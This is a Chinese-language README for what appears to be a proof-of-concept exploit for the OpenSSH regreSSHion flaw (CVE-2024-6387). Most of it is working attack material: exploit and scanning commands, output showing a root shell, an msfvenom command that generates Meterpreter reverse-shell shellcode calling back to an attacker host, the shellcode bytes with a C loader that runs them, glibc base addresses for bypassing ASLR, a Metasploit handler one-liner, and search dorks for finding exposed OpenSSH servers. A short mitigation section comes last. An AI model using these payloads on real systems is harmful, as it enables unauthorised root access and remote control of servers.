CVE-2024-6387 - PoC注意:此脚本是一个快速原型 PoC,可能会出现一些错误和 bug。 测试环境:Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH 服务器中的远程未认证代码执行漏洞
在 OpenSSH 服务器 (sshd) 中发现了一个信号处理程序竞态条件:当客户端未在 LoginGraceTime 秒(默认 120 秒,旧版 OpenSSH 默认为 600 秒)内完成认证时,sshd 的 SIGALRM 处理程序会被异步调用。然而,该信号处理程序调用了多个非异步信号安全的函数,例如 syslog()。
技术细节请参见此处。
该漏洞由 Qualys 的研究人员在 2024 年 5 月 发现,并被分配编号 CVE-2024-6387,原因是 sshd 中存在信号处理程序竞态条件,允许未认证的远程攻击者以 root 身份执行任意代码。
“如果客户端未在 LoginGraceTime 秒(默认 120 秒)内完成认证,sshd 的 SIGALRM 处理程序会被异步调用,并调用多个非异步信号安全的函数。”
“远程未认证攻击者可以利用此漏洞以 root 权限执行任意代码。”
要求:最新版 python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# 生成 shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// 你的自定义载荷占位符
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// 执行 shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// 可能的 glibc 基址(用于绕过 ASLR)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode 占位符(替换为实际 shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# 编译载荷
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# 当收到成功利用的消息后,msfconsole 将自动启动 Meterpreter 会话。
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access补丁管理:快速应用 OpenSSH 的可用补丁对于缩小漏洞窗口至关重要。及时打补丁可确保已知的利用方法无法针对您的系统,从而减少攻击者的机会窗口。
增强访问控制:通过基于网络的控件限制 SSH 访问可增加一道防御层。这种方法通过将 SSH 连接限制为仅允许授权网络或 IP 地址,从而最小化潜在攻击者的暴露面。实施防火墙规则或使用 VPN 进行安全访问等工具可有效实施这些限制。
网络分段:将网络划分为多个网段有助于控制潜在入侵的影响。通过将关键系统和敏感数据与网络中不太关键的部分隔离,可以降低攻击者横向移动的风险。这种分段可以辅以严格的访问控制和监控,以检测并响应任何未经授权突破这些网段的尝试。
入侵检测系统 (IDS):部署 IDS 或入侵防御系统 (IPS) 可实现对网络流量和系统日志的实时监控。这些系统可以检测与 regreSSHion 漏洞相关的可疑活动及潜在的利用尝试。此类系统触发的警报允许在造成重大损害之前进行及时调查和缓解。
监控利用尝试:持续监控网络和系统日志至关重要。注意任何可能表明尝试利用 OpenSSH 漏洞的异常模式或活动。这种主动方法有助于在威胁造成危害之前识别并响应它们。